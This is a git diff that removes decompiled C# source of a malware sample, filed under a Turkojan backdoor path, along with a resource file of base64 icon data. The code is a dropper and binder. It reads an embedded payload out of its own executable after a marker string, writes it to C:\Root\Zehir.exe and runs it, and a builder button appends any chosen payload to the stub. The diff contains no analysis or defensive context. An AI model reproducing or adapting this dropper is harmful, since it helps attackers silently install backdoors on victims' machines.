this._RadioButton2.CheckedChanged += eventHandler; - } - } - - internal virtual RadioButton RadioButton3 - { - [DebuggerNonUserCode] get => this._RadioButton3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.RadioButton3_CheckedChanged); - if (this._RadioButton3 != null) - this._RadioButton3.CheckedChanged -= eventHandler; - this._RadioButton3 = value; - if (this._RadioButton3 == null) - return; - this._RadioButton3.CheckedChanged += eventHandler; - } - } - - internal virtual Button Button2 - { - [DebuggerNonUserCode] get => this._Button2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button2_Click); - if (this._Button2 != null) - this._Button2.Click -= eventHandler; - this._Button2 = value; - if (this._Button2 == null) - return; - this._Button2.Click += eventHandler; - } - } - - internal virtual Button Button3 - { - [DebuggerNonUserCode] get => this._Button3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button3_Click); - if (this._Button3 != null) - this._Button3.Click -= eventHandler; - this._Button3 = value; - if (this._Button3 == null) - return; - this._Button3.Click += eventHandler; - } - } - - internal virtual OpenFileDialog OpenFileDialog1 - { - [DebuggerNonUserCode] get => this._OpenFileDialog1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._OpenFileDialog1 = value; - } - - internal virtual SaveFileDialog SaveFileDialog1 - { - [DebuggerNonUserCode] get => this._SaveFileDialog1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._SaveFileDialog1 = value; - } - - private void Form1_Load(object sender, EventArgs e) - { - int num1; - int num2; - try - { - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - this.Builder = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref this.Builder); - FileSystem.FileClose(1); - ProjectData.ClearProjectError(); - num1 = 2; - this.İsim = "Zehir.exe"; - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - this.GömülmüşServer = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref this.GömülmüşServer); - FileSystem.FileClose(1); - this.Oku = Strings.Split(this.GömülmüşServer, "#FEDERIKO's Laß#"); - this.GömülmüşServer = this.Oku[1]; - this.Klasör(); - FileSystem.FileOpen(1, "C:\\Root\\" + this.İsim, OpenMode.Binary, OpenAccess.ReadWrite); - FileSystem.FilePut(1, this.GömülmüşServer, -1L, false); - FileSystem.FileClose(1); - Process.Start("C:\\Root\\" + this.İsim); - this.Close(); - goto label_6; -label_1: - num2 = -1; - switch (num1) - { - case 2: - goto label_6; - } - } - catch (Exception ex) when ( - { - // ISSUE: unable to correctly present filter - int num3; - if (ex is Exception & num1 != 0 & num3 == 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - ProjectData.SetProjectError(ex); - goto label_1; - } - throw ProjectData.CreateProjectError(-2146828237); -label_6: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Klasör() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - if (!MyProject.Computer.FileSystem.FileExists("C:\\Root\\Zehir.exe")) - goto label_3; -label_2: - num3 = 3; - MyProject.Computer.FileSystem.DeleteFile("C:\\Root\\Zehir.exe"); -label_3: - num3 = 5; - if (MyProject.Computer.FileSystem.DirectoryExists("C:\\Root")) - goto label_12; -label_4: - num3 = 7; -label_5: - num3 = 8; - MyProject.Computer.FileSystem.CreateDirectory("C:\\Root"); - goto label_12; -label_7: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - case 5: - goto label_3; - case 6: - case 9: - case 10: - goto label_12; - case 7: - goto label_4; - case 8: - goto label_5; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_7; - } - throw ProjectData.CreateProjectError(-2146828237); -label_12: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Button2_Click(object sender, EventArgs e) - { - if (this.OpenFileDialog1.ShowDialog() != DialogResult.OK) - return; - FileSystem.FileOpen(1, this.OpenFileDialog1.FileName, OpenMode.Binary, OpenAccess.Read); - this.Server = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref this.Server); - FileSystem.FileClose(1); - this.TextBox1.Text = this.OpenFileDialog1.FileName; - } - - private void Button1_Click(object sender, EventArgs e) - { - if (this.SaveFileDialog1.ShowDialog() != DialogResult.OK) - return; - FileSystem.FileOpen(1, this.SaveFileDialog1.FileName, OpenMode.Binary, OpenAccess.ReadWrite); - FileSystem.FilePut(1, this.Builder + "#FEDERIKO's Laß#" + this.Server + "\r\n\r\n#Coded By FEDERIKO#", -1L, false); - FileSystem.FileClose(1); - } - - private void RadioButton1_CheckedChanged(object sender, EventArgs e) - { - if (!this.RadioButton1.Checked) - return; - this.İsim = "BinaryZehir.exe"; - } - - private void RadioButton2_CheckedChanged(object sender, EventArgs e) - { - if (!this.RadioButton2.Checked) - return; - this.İsim = "HexZehir.exe"; - } - - private void RadioButton3_CheckedChanged(object sender, EventArgs e) - { - if (!this.RadioButton3.Checked) - return; - this.İsim = "HashZehir.exe"; - } - - private void Button3_Click(object sender, EventArgs e) - { - int num = (int) MyProject.Forms.Form2.ShowDialog(); - } - } -} diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Form1.resx b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Form1.resx deleted file mode 100644 index 3c8ad87d..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Form1.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAACZDAQACAAABAAQAgIAAAAEAIAAoCAEARgAAADAwAAABACAAqCUAAG4IAQAgIAAAAQAgAKgQAAAWLgEAEBAAAAEAIABoBAAAvj4BACgAAACAAAAAAAEAAAEAIAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAQAAAAIAAAACAAAAAwAAAAMAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAADAAAAAgAAAAIAAAACAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAgAAAAIAAAADAAAABAAAAAUAAAAFAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAUAAAAEAAAAAwAAAAMAAAADAAAAAwAAAAIAAAACAAAAAgAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAMAAAAEAAAABAAAAAMAAAAEAAAABwAAAAkAAAAKAAAACwAAAAwAAAAMAAAADAAAAAsAAAALAAAACgAAAAkAAAAJAAAABwAAAAYAAAAGAAAABQAAAAQAAAACAAAAAgAAAAIAAAABAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAMAAAAAAAAAAAAAAAEkJCQOYGBgIGpqailLS0siAAAAEAAAAA8AAAAPAAAAEgAAABYAAAAYAAAAFwAAABYAAAAUAAAAEwAAABEAAAARAAAADgAAAA0AAAALAAAACgAAAAkAAAAHAAAABwAAAAYAAAAFAAAABQAAAAQAAAADAAAAAgAAAAIAAAACAAAAAgAAAAEAAAABAAAAAQAAAAEAAAAAAAAA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